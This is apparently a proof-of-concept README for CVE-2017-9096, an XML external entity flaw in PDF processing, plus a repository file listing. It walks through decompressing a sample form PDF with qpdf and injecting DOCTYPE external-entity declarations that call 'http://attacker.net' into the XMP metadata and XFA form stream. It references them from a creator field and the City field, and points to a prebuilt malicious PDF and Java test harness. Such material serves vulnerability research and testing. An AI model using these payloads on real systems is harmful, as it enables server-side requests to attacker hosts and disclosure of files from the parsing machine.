# CVE-2017-9096
## 1. Creating the malicious PDF containing XXE
Get a PDF containing a form:
```
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
```
### Decompress PDF
To do that you need to decompress the PDF with `qpdf --qdf --object-streams=disable input.pdf output.pdf` then you can edit the PDF with a text editor and add malicious XML.
### Add the external entities
You can put XEE to the XMP metadata in line 77:
```
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
```
And of course put the reference too to somewhere, e.g. line 88:
```
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
```
You can also add a common XXE to the file.
See this part in the original document (starts at line 740):
```
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
```
Change it to the following:
```
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
```
Then, just add the reference to somewhere, eg. to the City field (line 1845 in the original decompressed document). Change this:
```
<text
>City:</text
></value
>
```
To this:
```
<text
>City:</text
><xxe>&xxe;</xxe></value
>
```
You find the patched PDF containing both XXE in this repo too (`output_with_xxe.pdf`)
## 2. Perform attack
Run the Java app to test the PDF with `mvn clean compile exec:java`.
[4.0K] /data/pocs/c2274830ad1c3223fcf99c99e3aff0cc6051e972
├── [518K] input.pdf
├── [931K] output.pdf
├── [931K] output_with_xxe.pdf
├── [1.6K] pom.xml
├── [1.7K] README.md
└── [4.0K] src
└── [4.0K] main
└── [4.0K] java
└── [4.0K] com
└── [4.0K] poc
└── [ 750] Exec.java
5 directories, 6 files